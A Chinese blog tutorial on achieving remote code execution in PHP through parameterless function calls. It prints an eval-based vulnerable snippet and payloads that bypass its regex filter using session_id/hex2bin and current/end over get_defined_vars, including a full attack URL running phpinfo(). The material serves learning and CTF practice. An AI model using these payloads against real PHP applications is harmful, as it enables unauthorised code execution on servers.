zoukankan      html  css  js  c++  java
  • php中无参函数的RCE

    学习一下php中无符号的问题。

    1.无参数

    <?php
    if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {    
        eval($_GET['code']);
    } else {
        show_source(__FILE__);
    }
    ?>

    这里调用函数只能是code(a()) 也就是括号中不能含有参数。

    http-header传参

    在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。

    payload:code=eval(hex2bin(session_id(session_start())));

    hex("phpinfo();")=706870696e666f28293b

     

    可以成功命令执行。

    第二种:post/get传入参数

    get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
    此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

    payload:?code=var_dump(get_defined_vars())&b=1;

    变量b和code都在参数中,如何将b带出来用它执行poc

    current ( array &$array ) : mixed 返回数组中的当前单元
    每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。

    这样可以提取b中的内容了

    利用eval和上面的函数可以达到RCE的效果

    http://192.168.1.103/test/test.php?code=eval(end(current(get_defined_vars())));&b=phpinfo();

  • 相关阅读:
    spark的map和mapPartitions
    scala 语法速查
    spark 在yarn模式下提交作业
    spark的wordcount
    spark安装
    hadoop mapreduce求解有序TopN(高效模式)
    hadoop 自定义OutputFormat
    ONI无法启动: Uh oh! Unable to launch Neovim...
    Macbook外接显示器模糊解决方法
    macOS: sudo : Operation not permitted
  • 原文地址:https://www.cnblogs.com/sylover/p/11863778.html
Copyright © 2011-2022 走看看